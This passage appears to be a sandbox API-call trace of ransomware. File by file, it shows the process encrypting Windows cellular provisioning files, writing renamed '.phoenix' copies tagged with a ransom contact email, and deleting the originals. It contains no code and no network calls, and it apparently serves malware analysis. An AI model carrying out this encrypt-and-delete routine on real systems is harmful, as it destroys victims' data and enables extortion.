	[0237.955] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\17__connections_cellular_optus (australia)_i8$(__mvid)@wap.provxml")) returned 1
	[0237.956] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0237.956] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\182__connections_cellular_pccw (hong kong sar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0237.957] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=646) returned 1
	[0237.957] CloseHandle (hObject=0x2f0) returned 1
	[0237.957] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\182__connections_cellular_pccw (hong kong sar)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0237.957] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\182__connections_cellular_pccw (hong kong sar)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0237.957] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\182__connections_cellular_pccw (hong kong sar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0237.957] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0237.957] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0237.957] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\182__connections_cellular_pccw (hong kong sar)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0237.957] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151180) returned 1
	[0237.957] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0237.958] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x286, lpOverlapped=0x0) returned 1
	[0237.959] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290, dwBufLen=0x290 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290) returned 1
	[0237.959] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x290, lpOverlapped=0x0) returned 1
	[0237.960] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1517c0) returned 1
	[0237.960] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0237.960] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0237.960] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0237.960] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0237.960] CryptDestroyKey (hKey=0x151180) returned 1
	[0237.960] CloseHandle (hObject=0x2f0) returned 1
	[0237.960] CloseHandle (hObject=0x2c0) returned 1
	[0237.960] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\182__connections_cellular_pccw (hong kong sar)_i0$(__mvid)@wap.provxml")) returned 1
	[0237.962] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0237.962] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\183__connections_cellular_pccw (hong kong sar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0237.962] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=642) returned 1
	[0237.962] CloseHandle (hObject=0x2c0) returned 1
	[0237.962] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\183__connections_cellular_pccw (hong kong sar)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0237.962] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\183__connections_cellular_pccw (hong kong sar)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0237.962] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\183__connections_cellular_pccw (hong kong sar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0237.962] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0237.962] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0237.962] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\183__connections_cellular_pccw (hong kong sar)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0237.963] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151200) returned 1
	[0237.963] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0237.963] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x282, lpOverlapped=0x0) returned 1
	[0237.964] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290, dwBufLen=0x290 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290) returned 1
	[0237.964] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x290, lpOverlapped=0x0) returned 1
	[0237.965] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151440) returned 1
	[0237.965] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0237.965] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0237.965] CryptDestroyKey (hKey=0x151440) returned 1
	[0237.965] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0237.965] CryptDestroyKey (hKey=0x151200) returned 1
	[0237.965] CloseHandle (hObject=0x2c0) returned 1
	[0237.965] CloseHandle (hObject=0x2f0) returned 1
	[0237.966] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\183__connections_cellular_pccw (hong kong sar)_i0$(__mvid)@wap.provxml")) returned 1
	[0237.967] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0237.967] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\184__connections_cellular_smartone-vodafone (hong kong sar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0237.967] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=731) returned 1
	[0237.967] CloseHandle (hObject=0x2f0) returned 1
	[0237.967] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\184__connections_cellular_smartone-vodafone (hong kong sar)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0237.967] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\184__connections_cellular_smartone-vodafone (hong kong sar)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0237.968] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\184__connections_cellular_smartone-vodafone (hong kong sar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0237.968] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0237.968] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0237.968] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\184__connections_cellular_smartone-vodafone (hong kong sar)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0237.968] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151280) returned 1
	[0237.968] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0237.968] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2db, lpOverlapped=0x0) returned 1
	[0237.970] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0237.970] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0237.970] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1515c0) returned 1
	[0237.971] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0237.971] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xd0, dwBufLen=0xd0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xd0) returned 1
	[0237.971] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0237.971] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x182, lpOverlapped=0x0) returned 1
	[0237.971] CryptDestroyKey (hKey=0x151280) returned 1
	[0237.971] CloseHandle (hObject=0x2f0) returned 1
	[0237.971] CloseHandle (hObject=0x2c0) returned 1
	[0237.971] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\184__connections_cellular_smartone-vodafone (hong kong sar)_i0$(__mvid)@wap.provxml")) returned 1
	[0237.972] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0237.972] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\185__connections_cellular_telenor hungary (hungary)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0237.973] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=646) returned 1
	[0237.973] CloseHandle (hObject=0x2c0) returned 1
	[0237.973] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\185__connections_cellular_telenor hungary (hungary)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0237.973] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\185__connections_cellular_telenor hungary (hungary)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0237.973] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\185__connections_cellular_telenor hungary (hungary)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0237.973] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0237.973] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0237.973] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\185__connections_cellular_telenor hungary (hungary)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0237.973] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151580) returned 1
	[0237.973] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0237.974] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x286, lpOverlapped=0x0) returned 1
	[0237.975] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290, dwBufLen=0x290 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290) returned 1
	[0237.975] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x290, lpOverlapped=0x0) returned 1
	[0237.976] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151100) returned 1
	[0237.976] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0237.976] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0237.976] CryptDestroyKey (hKey=0x151100) returned 1
	[0237.976] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0237.976] CryptDestroyKey (hKey=0x151580) returned 1
	[0237.976] CloseHandle (hObject=0x2c0) returned 1
	[0237.976] CloseHandle (hObject=0x2f0) returned 1
	[0237.976] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\185__connections_cellular_telenor hungary (hungary)_i0$(__mvid)@wap.provxml")) returned 1
	[0237.977] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0237.978] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\186__connections_cellular_magyar telekom (hungary)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0237.978] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=727) returned 1
	[0237.978] CloseHandle (hObject=0x2f0) returned 1
	[0237.978] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\186__connections_cellular_magyar telekom (hungary)_i0$(__mvid)@wap.provxml")) returned 0x20
